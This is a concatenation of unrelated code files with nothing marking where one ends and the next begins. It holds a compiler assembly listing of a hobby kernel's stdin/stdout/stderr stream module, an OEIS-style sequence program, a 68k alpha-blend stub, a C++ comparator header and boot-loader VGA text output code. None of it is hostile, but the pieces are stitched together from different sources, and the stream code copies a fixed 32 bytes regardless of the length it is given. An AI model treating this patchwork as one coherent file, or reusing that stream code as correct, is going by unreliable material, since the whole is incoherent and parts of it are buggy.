; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1 include listing.inc INCLUDELIB LIBCMT INCLUDELIB OLDNAMES CONST SEGMENT $SG3624 DB 'stdin', 00H ORG $+2 $SG3625 DB '/dev/stdin', 00H ORG $+1 $SG3628 DB 'stdout', 00H ORG $+5 $SG3629 DB '/dev/stdout', 00H $SG3632 DB 'stderr', 00H ORG $+5 $SG3633 DB '/dev/stderr', 00H CONST ENDS PUBLIC ?allocate_stream@@YAPEAU_stream_@@XZ ; allocate_stream PUBLIC ?stream_init@@YAXXZ ; stream_init PUBLIC ?deallocate_stream@@YAXPEAU_stream_@@@Z ; deallocate_stream PUBLIC ?stdout@@YAXPEAU_stream_@@PEAD@Z ; stdout PUBLIC ?stdin@@YAXPEAU_stream_@@PEAD@Z ; stdin PUBLIC ?stderr@@YAXPEAU_stream_@@PEAD@Z ; stderr PUBLIC ?stdout_read@@YAXPEAU_vfs_node_@@PEAEI@Z ; stdout_read PUBLIC ?stdout_write@@YAXPEAU_vfs_node_@@PEAEI@Z ; stdout_write PUBLIC ?stderr_read@@YAXPEAU_vfs_node_@@PEAEI@Z ; stderr_read PUBLIC ?stderr_write@@YAXPEAU_vfs_node_@@PEAEI@Z ; stderr_write EXTRN ?strcpy@@YAPEADPEADPEBD@Z:PROC ; strcpy EXTRN ?strlen@@YA_KPEBD@Z:PROC ; strlen EXTRN ?memset@@YAXPEAXEI@Z:PROC ; memset EXTRN memcpy:PROC EXTRN ?vfs_mount@@YAXPEADPEAU_vfs_node_@@@Z:PROC ; vfs_mount EXTRN ?pmmngr_alloc@@YAPEAXXZ:PROC ; pmmngr_alloc EXTRN ?malloc@@YAPEAX_K@Z:PROC ; malloc EXTRN ?free@@YAXPEAX@Z:PROC ; free EXTRN ?get_current_thread@@YAPEAU_thread_@@XZ:PROC ; get_current_thread EXTRN ?get_ttype@@YAPEAU_tele_type_@@H@Z:PROC ; get_ttype pdata SEGMENT $pdata$?allocate_stream@@YAPEAU_stream_@@XZ DD imagerel $LN3 DD imagerel $LN3+42 DD imagerel $unwind$?allocate_stream@@YAPEAU_stream_@@XZ $pdata$?stream_init@@YAXXZ DD imagerel $LN3 DD imagerel $LN3+578 DD imagerel $unwind$?stream_init@@YAXXZ $pdata$?deallocate_stream@@YAXPEAU_stream_@@@Z DD imagerel $LN3 DD imagerel $LN3+24 DD imagerel $unwind$?deallocate_stream@@YAXPEAU_stream_@@@Z $pdata$?stdout@@YAXPEAU_stream_@@PEAD@Z DD imagerel $LN3 DD imagerel $LN3+51 DD imagerel $unwind$?stdout@@YAXPEAU_stream_@@PEAD@Z $pdata$?stdin@@YAXPEAU_stream_@@PEAD@Z DD imagerel $LN3 DD imagerel $LN3+47 DD imagerel $unwind$?stdin@@YAXPEAU_stream_@@PEAD@Z $pdata$?stderr@@YAXPEAU_stream_@@PEAD@Z DD imagerel $LN3 DD imagerel $LN3+47 DD imagerel $unwind$?stderr@@YAXPEAU_stream_@@PEAD@Z $pdata$?stdout_read@@YAXPEAU_vfs_node_@@PEAEI@Z DD imagerel $LN3 DD imagerel $LN3+69 DD imagerel $unwind$?stdout_read@@YAXPEAU_vfs_node_@@PEAEI@Z $pdata$?stdout_write@@YAXPEAU_vfs_node_@@PEAEI@Z DD imagerel $LN5 DD imagerel $LN5+138 DD imagerel $unwind$?stdout_write@@YAXPEAU_vfs_node_@@PEAEI@Z $pdata$?stderr_read@@YAXPEAU_vfs_node_@@PEAEI@Z DD imagerel $LN3 DD imagerel $LN3+69 DD imagerel $unwind$?stderr_read@@YAXPEAU_vfs_node_@@PEAEI@Z $pdata$?stderr_write@@YAXPEAU_vfs_node_@@PEAEI@Z DD imagerel $LN5 DD imagerel $LN5+138 DD imagerel $unwind$?stderr_write@@YAXPEAU_vfs_node_@@PEAEI@Z pdata ENDS xdata SEGMENT $unwind$?allocate_stream@@YAPEAU_stream_@@XZ DD 010401H DD 06204H $unwind$?stream_init@@YAXXZ DD 010401H DD 08204H $unwind$?deallocate_stream@@YAXPEAU_stream_@@@Z DD 010901H DD 04209H $unwind$?stdout@@YAXPEAU_stream_@@PEAD@Z DD 010e01H DD 0420eH $unwind$?stdin@@YAXPEAU_stream_@@PEAD@Z DD 010e01H DD 0420eH $unwind$?stderr@@YAXPEAU_stream_@@PEAD@Z DD 010e01H DD 0420eH $unwind$?stdout_read@@YAXPEAU_vfs_node_@@PEAEI@Z DD 011301H DD 06213H $unwind$?stdout_write@@YAXPEAU_vfs_node_@@PEAEI@Z DD 011301H DD 06213H $unwind$?stderr_read@@YAXPEAU_vfs_node_@@PEAEI@Z DD 011301H DD 06213H $unwind$?stderr_write@@YAXPEAU_vfs_node_@@PEAEI@Z DD 011301H DD 06213H xdata ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\stream.cpp _TEXT SEGMENT p$ = 32 t$1 = 40 file$ = 64 buffer$ = 72 length$ = 80 ?stderr_write@@YAXPEAU_vfs_node_@@PEAEI@Z PROC ; stderr_write ; 68 : void stderr_write (vfs_node_t *file, uint8_t* buffer, uint32_t length) { $LN5: mov DWORD PTR [rsp+24], r8d mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; 69 : thread_t *p = get_current_thread(); call ?get_current_thread@@YAPEAU_thread_@@XZ ; get_current_thread mov QWORD PTR p$[rsp], rax ; 70 : memcpy (p->stream->err, buffer, 32); mov rax, QWORD PTR p$[rsp] mov rax, QWORD PTR [rax+760] add rax, 64 ; 00000040H mov r8d, 32 ; 00000020H mov rdx, QWORD PTR buffer$[rsp] mov rcx, rax call memcpy ; 71 : if (p->ttype) { mov rax, QWORD PTR p$[rsp] cmp QWORD PTR [rax+240], 0 je SHORT $LN2@stderr_wri ; 72 : ttype_t *t = get_ttype(p->ttype); mov rax, QWORD PTR p$[rsp] mov ecx, DWORD PTR [rax+240] call ?get_ttype@@YAPEAU_tele_type_@@H@Z ; get_ttype mov QWORD PTR t$1[rsp], rax ; 73 : if (t) { cmp QWORD PTR t$1[rsp], 0 je SHORT $LN1@stderr_wri ; 74 : memcpy (t->in_buffer,buffer, 32); mov r8d, 32 ; 00000020H mov rdx, QWORD PTR buffer$[rsp] mov rax, QWORD PTR t$1[rsp] mov rcx, QWORD PTR [rax+72] call memcpy $LN1@stderr_wri: $LN2@stderr_wri: ; 75 : } ; 76 : } ; 77 : } add rsp, 56 ; 00000038H ret 0 ?stderr_write@@YAXPEAU_vfs_node_@@PEAEI@Z ENDP ; stderr_write _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\stream.cpp _TEXT SEGMENT p$ = 32 file$ = 64 buffer$ = 72 length$ = 80 ?stderr_read@@YAXPEAU_vfs_node_@@PEAEI@Z PROC ; stderr_read ; 63 : void stderr_read (vfs_node_t *file, uint8_t* buffer,uint32_t length) { $LN3: mov DWORD PTR [rsp+24], r8d mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; 64 : thread_t *p = get_current_thread(); call ?get_current_thread@@YAPEAU_thread_@@XZ ; get_current_thread mov QWORD PTR p$[rsp], rax ; 65 : memcpy (buffer, p->stream->err, 32); mov rax, QWORD PTR p$[rsp] mov rax, QWORD PTR [rax+760] add rax, 64 ; 00000040H mov r8d, 32 ; 00000020H mov rdx, rax mov rcx, QWORD PTR buffer$[rsp] call memcpy ; 66 : } add rsp, 56 ; 00000038H ret 0 ?stderr_read@@YAXPEAU_vfs_node_@@PEAEI@Z ENDP ; stderr_read _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\stream.cpp _TEXT SEGMENT p$ = 32 t$1 = 40 file$ = 64 buffer$ = 72 length$ = 80 ?stdout_write@@YAXPEAU_vfs_node_@@PEAEI@Z PROC ; stdout_write ; 53 : void stdout_write (vfs_node_t *file, uint8_t* buffer, uint32_t length) { $LN5: mov DWORD PTR [rsp+24], r8d mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; 54 : thread_t *p = get_current_thread(); call ?get_current_thread@@YAPEAU_thread_@@XZ ; get_current_thread mov QWORD PTR p$[rsp], rax ; 55 : memcpy(p->stream->out,buffer, 32); mov rax, QWORD PTR p$[rsp] mov rax, QWORD PTR [rax+760] add rax, 32 ; 00000020H mov r8d, 32 ; 00000020H mov rdx, QWORD PTR buffer$[rsp] mov rcx, rax call memcpy ; 56 : if (p->ttype) { mov rax, QWORD PTR p$[rsp] cmp QWORD PTR [rax+240], 0 je SHORT $LN2@stdout_wri ; 57 : ttype_t *t = get_ttype(p->ttype); mov rax, QWORD PTR p$[rsp] mov ecx, DWORD PTR [rax+240] call ?get_ttype@@YAPEAU_tele_type_@@H@Z ; get_ttype mov QWORD PTR t$1[rsp], rax ; 58 : if (t) cmp QWORD PTR t$1[rsp], 0 je SHORT $LN1@stdout_wri ; 59 : memcpy (t->in_buffer,buffer, 32); mov r8d, 32 ; 00000020H mov rdx, QWORD PTR buffer$[rsp] mov rax, QWORD PTR t$1[rsp] mov rcx, QWORD PTR [rax+72] call memcpy $LN1@stdout_wri: $LN2@stdout_wri: ; 60 : } ; 61 : } add rsp, 56 ; 00000038H ret 0 ?stdout_write@@YAXPEAU_vfs_node_@@PEAEI@Z ENDP ; stdout_write _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\stream.cpp _TEXT SEGMENT p$ = 32 file$ = 64 buffer$ = 72 length$ = 80 ?stdout_read@@YAXPEAU_vfs_node_@@PEAEI@Z PROC ; stdout_read ; 48 : void stdout_read (vfs_node_t *file, uint8_t* buffer,uint32_t length) { $LN3: mov DWORD PTR [rsp+24], r8d mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; 49 : thread_t *p = get_current_thread(); call ?get_current_thread@@YAPEAU_thread_@@XZ ; get_current_thread mov QWORD PTR p$[rsp], rax ; 50 : memcpy (buffer, p->stream->out,32); mov rax, QWORD PTR p$[rsp] mov rax, QWORD PTR [rax+760] add rax, 32 ; 00000020H mov r8d, 32 ; 00000020H mov rdx, rax mov rcx, QWORD PTR buffer$[rsp] call memcpy ; 51 : } add rsp, 56 ; 00000038H ret 0 ?stdout_read@@YAXPEAU_vfs_node_@@PEAEI@Z ENDP ; stdout_read _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\stream.cpp _TEXT SEGMENT st$ = 48 err$ = 56 ?stderr@@YAXPEAU_stream_@@PEAD@Z PROC ; stderr ; 43 : void stderr (stream_t* st, char* err) { $LN3: mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx sub rsp, 40 ; 00000028H ; 44 : memcpy (st->err, err,sizeof(err)); mov rax, QWORD PTR st$[rsp] add rax, 64 ; 00000040H mov r8d, 8 mov rdx, QWORD PTR err$[rsp] mov rcx, rax call memcpy ; 45 : } add rsp, 40 ; 00000028H ret 0 ?stderr@@YAXPEAU_stream_@@PEAD@Z ENDP ; stderr _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\stream.cpp _TEXT SEGMENT st$ = 48 key$ = 56 ?stdin@@YAXPEAU_stream_@@PEAD@Z PROC ; stdin ; 38 : void stdin (stream_t* st, char* key) { $LN3: mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx sub rsp, 40 ; 00000028H ; 39 : memcpy (st->in, key, strlen(key)); mov rcx, QWORD PTR key$[rsp] call ?strlen@@YA_KPEBD@Z ; strlen mov rcx, QWORD PTR st$[rsp] mov r8d, eax mov rdx, QWORD PTR key$[rsp] call memcpy ; 40 : } add rsp, 40 ; 00000028H ret 0 ?stdin@@YAXPEAU_stream_@@PEAD@Z ENDP ; stdin _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\stream.cpp _TEXT SEGMENT st$ = 48 buff$ = 56 ?stdout@@YAXPEAU_stream_@@PEAD@Z PROC ; stdout ; 33 : void stdout (stream_t *st, char* buff) { $LN3: mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx sub rsp, 40 ; 00000028H ; 34 : memcpy (st->out, buff, strlen(buff)); mov rcx, QWORD PTR buff$[rsp] call ?strlen@@YA_KPEBD@Z ; strlen mov rcx, QWORD PTR st$[rsp] add rcx, 32 ; 00000020H mov r8d, eax mov rdx, QWORD PTR buff$[rsp] call memcpy ; 35 : } add rsp, 40 ; 00000028H ret 0 ?stdout@@YAXPEAU_stream_@@PEAD@Z ENDP ; stdout _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\stream.cpp _TEXT SEGMENT st$ = 48 ?deallocate_stream@@YAXPEAU_stream_@@@Z PROC ; deallocate_stream ; 27 : void deallocate_stream (stream_t *st) { $LN3: mov QWORD PTR [rsp+8], rcx sub rsp, 40 ; 00000028H ; 28 : free(st); mov rcx, QWORD PTR st$[rsp] call ?free@@YAXPEAX@Z ; free ; 29 : } add rsp, 40 ; 00000028H ret 0 ?deallocate_stream@@YAXPEAU_stream_@@@Z ENDP ; deallocate_stream _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\stream.cpp _TEXT SEGMENT stdin$ = 32 node$ = 40 stderr$ = 48 ?stream_init@@YAXXZ PROC ; stream_init ; 80 : void stream_init () { $LN3: sub rsp, 72 ; 00000048H ; 81 : ; 82 : ///! Standard Input ; 83 : ///! node ; 84 : vfs_node_t *stdin = (vfs_node_t*)malloc(sizeof(vfs_node_t)); mov ecx, 104 ; 00000068H call ?malloc@@YAPEAX_K@Z ; malloc mov QWORD PTR stdin$[rsp], rax ; 85 : strcpy(stdin->filename, "stdin"); mov rax, QWORD PTR stdin$[rsp] lea rdx, OFFSET FLAT:$SG3624 mov rcx, rax call ?strcpy@@YAPEADPEADPEBD@Z ; strcpy ; 86 : stdin->size = 0; mov rax, QWORD PTR stdin$[rsp] mov DWORD PTR [rax+32], 0 ; 87 : stdin->eof = 0; mov rax, QWORD PTR stdin$[rsp] mov DWORD PTR [rax+36], 0 ; 88 : stdin->pos = 0; mov rax, QWORD PTR stdin$[rsp] mov DWORD PTR [rax+40], 0 ; 89 : stdin->current = 0; mov rax, QWORD PTR stdin$[rsp] mov DWORD PTR [rax+44], 0 ; 90 : stdin->flags = FS_FLAG_GENERAL; mov rax, QWORD PTR stdin$[rsp] mov DWORD PTR [rax+48], 2 ; 91 : stdin->status = 0; mov rax, QWORD PTR stdin$[rsp] mov DWORD PTR [rax+52], 0 ; 92 : stdin->open = 0; mov rax, QWORD PTR stdin$[rsp] mov QWORD PTR [rax+64], 0 ; 93 : stdin->read = 0; mov rax, QWORD PTR stdin$[rsp] mov QWORD PTR [rax+72], 0 ; 94 : stdin->write = 0; mov rax, QWORD PTR stdin$[rsp] mov QWORD PTR [rax+80], 0 ; 95 : stdin->read_blk = 0; mov rax, QWORD PTR stdin$[rsp] mov QWORD PTR [rax+88], 0 ; 96 : stdin->ioquery = 0; mov rax, QWORD PTR stdin$[rsp] mov QWORD PTR [rax+96], 0 ; 97 : vfs_mount ("/dev/stdin", stdin); mov rdx, QWORD PTR stdin$[rsp] lea rcx, OFFSET FLAT:$SG3625 call ?vfs_mount@@YAXPEADPEAU_vfs_node_@@@Z ; vfs_mount ; 98 : ; 99 : ///! Standard output ; 100 : ///! node ; 101 : vfs_node_t *node = (vfs_node_t*)pmmngr_alloc();//malloc(sizeof(vfs_node_t)); call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc mov QWORD PTR node$[rsp], rax ; 102 : strcpy(node->filename, "stdout"); mov rax, QWORD PTR node$[rsp] lea rdx, OFFSET FLAT:$SG3628 mov rcx, rax call ?strcpy@@YAPEADPEADPEBD@Z ; strcpy ; 103 : node->size = 0; mov rax, QWORD PTR node$[rsp] mov DWORD PTR [rax+32], 0 ; 104 : node->eof = 0; mov rax, QWORD PTR node$[rsp] mov DWORD PTR [rax+36], 0 ; 105 : node->pos = 0; mov rax, QWORD PTR node$[rsp] mov DWORD PTR [rax+40], 0 ; 106 : node->current = 0; mov rax, QWORD PTR node$[rsp] mov DWORD PTR [rax+44], 0 ; 107 : node->flags = FS_FLAG_GENERAL; mov rax, QWORD PTR node$[rsp] mov DWORD PTR [rax+48], 2 ; 108 : node->status = 0; mov rax, QWORD PTR node$[rsp] mov DWORD PTR [rax+52], 0 ; 109 : node->open = 0; mov rax, QWORD PTR node$[rsp] mov QWORD PTR [rax+64], 0 ; 110 : node->read = stdout_read; mov rax, QWORD PTR node$[rsp] lea rcx, OFFSET FLAT:?stdout_read@@YAXPEAU_vfs_node_@@PEAEI@Z ; stdout_read mov QWORD PTR [rax+72], rcx ; 111 : node->write = stdout_write; mov rax, QWORD PTR node$[rsp] lea rcx, OFFSET FLAT:?stdout_write@@YAXPEAU_vfs_node_@@PEAEI@Z ; stdout_write mov QWORD PTR [rax+80], rcx ; 112 : node->read_blk = 0; mov rax, QWORD PTR node$[rsp] mov QWORD PTR [rax+88], 0 ; 113 : node->ioquery = 0; mov rax, QWORD PTR node$[rsp] mov QWORD PTR [rax+96], 0 ; 114 : vfs_mount ("/dev/stdout", node); mov rdx, QWORD PTR node$[rsp] lea rcx, OFFSET FLAT:$SG3629 call ?vfs_mount@@YAXPEADPEAU_vfs_node_@@@Z ; vfs_mount ; 115 : ; 116 : ///! Standard Error ; 117 : ///! node ; 118 : vfs_node_t *stderr = (vfs_node_t*)pmmngr_alloc(); //malloc(sizeof(vfs_node_t)); call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc mov QWORD PTR stderr$[rsp], rax ; 119 : strcpy(stderr->filename, "stderr"); mov rax, QWORD PTR stderr$[rsp] lea rdx, OFFSET FLAT:$SG3632 mov rcx, rax call ?strcpy@@YAPEADPEADPEBD@Z ; strcpy ; 120 : stderr->size = 0; mov rax, QWORD PTR stderr$[rsp] mov DWORD PTR [rax+32], 0 ; 121 : stderr->eof = 0; mov rax, QWORD PTR stderr$[rsp] mov DWORD PTR [rax+36], 0 ; 122 : stderr->pos = 0; mov rax, QWORD PTR stderr$[rsp] mov DWORD PTR [rax+40], 0 ; 123 : stderr->current = 0; mov rax, QWORD PTR stderr$[rsp] mov DWORD PTR [rax+44], 0 ; 124 : stderr->flags = FS_FLAG_GENERAL; mov rax, QWORD PTR stderr$[rsp] mov DWORD PTR [rax+48], 2 ; 125 : stderr->status = 0; mov rax, QWORD PTR stderr$[rsp] mov DWORD PTR [rax+52], 0 ; 126 : stderr->open = 0; mov rax, QWORD PTR stderr$[rsp] mov QWORD PTR [rax+64], 0 ; 127 : stderr->read = stderr_read; mov rax, QWORD PTR stderr$[rsp] lea rcx, OFFSET FLAT:?stderr_read@@YAXPEAU_vfs_node_@@PEAEI@Z ; stderr_read mov QWORD PTR [rax+72], rcx ; 128 : stderr->write = stderr_write; mov rax, QWORD PTR stderr$[rsp] lea rcx, OFFSET FLAT:?stderr_write@@YAXPEAU_vfs_node_@@PEAEI@Z ; stderr_write mov QWORD PTR [rax+80], rcx ; 129 : stderr->read_blk = 0; mov rax, QWORD PTR stderr$[rsp] mov QWORD PTR [rax+88], 0 ; 130 : stderr->ioquery = 0; mov rax, QWORD PTR stderr$[rsp] mov QWORD PTR [rax+96], 0 ; 131 : vfs_mount ("/dev/stderr", stderr); mov rdx, QWORD PTR stderr$[rsp] lea rcx, OFFSET FLAT:$SG3633 call ?vfs_mount@@YAXPEADPEAU_vfs_node_@@@Z ; vfs_mount ; 132 : } add rsp, 72 ; 00000048H ret 0 ?stream_init@@YAXXZ ENDP ; stream_init _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\stream.cpp _TEXT SEGMENT st$ = 32 ?allocate_stream@@YAPEAU_stream_@@XZ PROC ; allocate_stream ; 20 : stream_t *allocate_stream () { $LN3: sub rsp, 56 ; 00000038H ; 21 : stream_t *st = (stream_t*)pmmngr_alloc(); //malloc (sizeof(stream_t)); call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc mov QWORD PTR st$[rsp], rax ; 22 : memset (st, 0, sizeof(stream_t)); mov r8d, 96 ; 00000060H xor edx, edx mov rcx, QWORD PTR st$[rsp] call ?memset@@YAXPEAXEI@Z ; memset ; 23 : return st; mov rax, QWORD PTR st$[rsp] ; 24 : } add rsp, 56 ; 00000038H ret 0 ?allocate_stream@@YAPEAU_stream_@@XZ ENDP ; allocate_stream _TEXT ENDS END
; A056158: Equivalent of the Kurepa hypothesis for left factorial. ; -4,-2,-4,2,-20,86,-532,3706,-29668,266990,-2669924,29369138,-352429684,4581585862,-64142202100,962133031466,-15394128503492,261700184559326,-4710603322067908,89501463119290210 add $0,3 mov $2,1 mov $4,2 lpb $0,1 sub $0,1 mul $1,$4 sub $1,1 mov $3,$2 sub $4,1 lpe sub $1,$3 sub $1,1 mul $1,2 add $1,2
; Combine 2 blocks with alpha blending and write result to screen section con include 'dev8_smsq_qpc_keys' xdef pt_cmbblk ; d0 s ? / some arbitray value ; d1 c s size of section to combine / scratch ; d2 c s origin in source area1 / scratch ; d3 c s origin in destination area / scratch ; d4 c s origin in source area 2/ scratch ; d5 s / (address of conversion table) scratch ; d6 c alpha / preserved ; d7 c s row increment of source area 2 / scratch ; a0 s / scratch (address of conversion table) ; a1 c s base address of source area2 / scratch ; a2 c s row increment of source area1 / scratch ; a3 c s row increment of destination area / scratch ; a4 c s base address of source area1 / scratch ; a5 c s base address of destination area / scratch ; a6/a7 preserved pt_cmbblk dc.w qpc.cmblk rts end
#pragma once #include "MojoVectors.hpp" namespace Mojo { namespace Core { struct Int4Comparator { bool operator() (const MojoInt4 l, MojoInt4 r) const { return l.w < r.w || ( l.w == r.w && ( l.z < r.z || ( l.z == r.z && ( l.y < r.y || ( l.y == r.y && l.x < r.x ) ) ) ) ); } }; struct Int3Comparator { bool operator() (const MojoInt3 l, MojoInt3 r) const { return l.z < r.z || ( l.z == r.z && ( l.y < r.y || ( l.y == r.y && l.x < r.x ) ) ); } }; struct Int2Comparator { bool operator() (const MojoInt2 l, MojoInt2 r) const { return l.y < r.y || ( l.y == r.y && l.x < r.x ); } }; } }
//++ // // Copyright (c) Microsoft Corporation // // Module Name: // // blvideo.cpp // // Abstract: // // This module implements basic video support for the boot loader. // //-- #include "bl.h" #define BL_VIDEO_ROW_COUNT 50 #define BL_VIDEO_COL_COUNT 80 #define BL_VIDEO_DEFAULT_ATTRIBUTE 0x1F00 #define BL_VIDEO_REGISTER_INDEX_PORT 0x3D4 #define BL_VIDEO_REGISTER_DATA_PORT 0x3D5 #define BL_VIDEO_REGISTER_CURSOR_LOW 0x0F #define BL_VIDEO_REGISTER_CURSOR_HIGH 0x0E #define BL_VIDEO_BASE_ADDRESS ((ULONG_PTR) 0x000B8000) PUINT16 BlVideoBuffer = (PUINT16) BL_VIDEO_BASE_ADDRESS; UINT16 BlVideoCursorPosition; UINT16 BlVideoDefaultAttribute = BL_VIDEO_DEFAULT_ATTRIBUTE; VOID BlVideoSetCursorPosition( UINT16 X, UINT16 Y ) //++ // // Routine Description: // // This function sets the cursor position. // // Arguments: // // X - Supplies the X coordinate for the cursor. // // Y - Supplies the Y coordinate for the cursor. // //-- { BlVideoCursorPosition = (Y * BL_VIDEO_COL_COUNT) + X; BlRtlWritePort8(BL_VIDEO_REGISTER_INDEX_PORT, BL_VIDEO_REGISTER_CURSOR_HIGH); BlRtlWritePort8(BL_VIDEO_REGISTER_DATA_PORT, (UINT8) (BlVideoCursorPosition >> 8)); BlRtlWritePort8(BL_VIDEO_REGISTER_INDEX_PORT, BL_VIDEO_REGISTER_CURSOR_LOW); BlRtlWritePort8(BL_VIDEO_REGISTER_DATA_PORT, (UINT8) (BlVideoCursorPosition & 0xFF)); } VOID BlVideoGetCursorPosition( PUINT16 X, PUINT16 Y ) //++ // // Routine Description: // // This function gets the cursor position. // // Arguments: // // X - Supplies a pointer to the variable that will receive the X coordinate. // // Y - Supplies a pointer to the variable that will receive the Y coordinate. // //-- { *X = BlVideoCursorPosition % BL_VIDEO_COL_COUNT; *Y = BlVideoCursorPosition / BL_VIDEO_COL_COUNT; } VOID BlVideoWriteCurrentCharacter( UINT8 Character ) //++ // // Routine Description: // // This function writes the current character (i.e. the character under the cursor). // // Arguments: // // Character - Supplies the character to write. // //-- { UINT16 X; UINT16 Y; BlVideoGetCursorPosition(&X, &Y); BlVideoBuffer[(Y * BL_VIDEO_COL_COUNT) + X] = BlVideoDefaultAttribute | Character; } VOID BlVideoScrollUpWindow( UINT8 NumberOfLines ) //++ // // Routine Description: // // This function scrolls up the specified window. // // Arguments: // // NumberOfLines - Supplies the number of lines to scroll. // //-- { UINT16 Delta; UINT16 Index; UINT16 Limit; Limit = BL_VIDEO_COL_COUNT * BL_VIDEO_ROW_COUNT; Delta = NumberOfLines * BL_VIDEO_COL_COUNT; if (Delta > Limit) { Delta = Limit; } for (Index = Delta; Index < Limit; Index += 1) { BlVideoBuffer[Index - Delta] = BlVideoBuffer[Index]; } for (Index = Limit - Delta; Index < Limit; Index += 1) { BlVideoBuffer[Index] = BlVideoDefaultAttribute | ' '; } } VOID BlVideoPrintCharacter( UINT8 Character ) //++ // // Routine Description: // // This function prints the specified character and advances the cursor. // // Arguments: // // Character - Supplies the character to print. // //-- { UINT16 X; UINT16 Y; BlVideoGetCursorPosition(&X, &Y); switch (Character) { case '\f': { X = 0; Y = 0; BlVideoInitialize(); break; } case '\r': { X = 0; break; } case '\n': { X = BL_VIDEO_COL_COUNT; break; } default: { BlVideoWriteCurrentCharacter(Character); X += 1; } } if (X == BL_VIDEO_COL_COUNT) { X = 0; Y += 1; } if (Y == BL_VIDEO_ROW_COUNT) { BlVideoScrollUpWindow(1); Y = BL_VIDEO_ROW_COUNT - 1; } BlVideoSetCursorPosition(X, Y); } VOID BlVideoPrintString( PCSTR String ) //++ // // Routine Description: // // This function prints the specified string and advances the cursor. // // Arguments: // // String - Supplies a pointer to the string to print. // //-- { PCSTR Next; Next = String; while (*Next != 0) { BlVideoPrintCharacter(*Next); Next += 1; } } BOOLEAN BlVideoPrintf( PCSTR Format, ... ) //++ // // Routine Description: // // This function prints out a string. // // Arguments: // // Format - Supplies the format string. // // ... - Supplies the input parameters. // // Return Value: // // TRUE, if operation was successful. // FALSE, otherwise. // //-- { va_list ArgumentList; CHAR Buffer[4096]; va_start(ArgumentList, Format); if (BlRtlFormatString(Buffer, sizeof(Buffer), Format, ArgumentList) == FALSE) { return FALSE; } BlVideoPrintString(Buffer); return TRUE; } VOID BlVideoInitialize( VOID ) //++ // // Routine Description: // // This function initializes video support for the boot loader. // //-- { UINT16 Index; UINT16 Limit; Limit = BL_VIDEO_COL_COUNT * BL_VIDEO_ROW_COUNT; for (Index = 0; Index < Limit; Index += 1) { BlVideoBuffer[Index] = BlVideoDefaultAttribute | ' '; } BlVideoSetCursorPosition(0, 0); }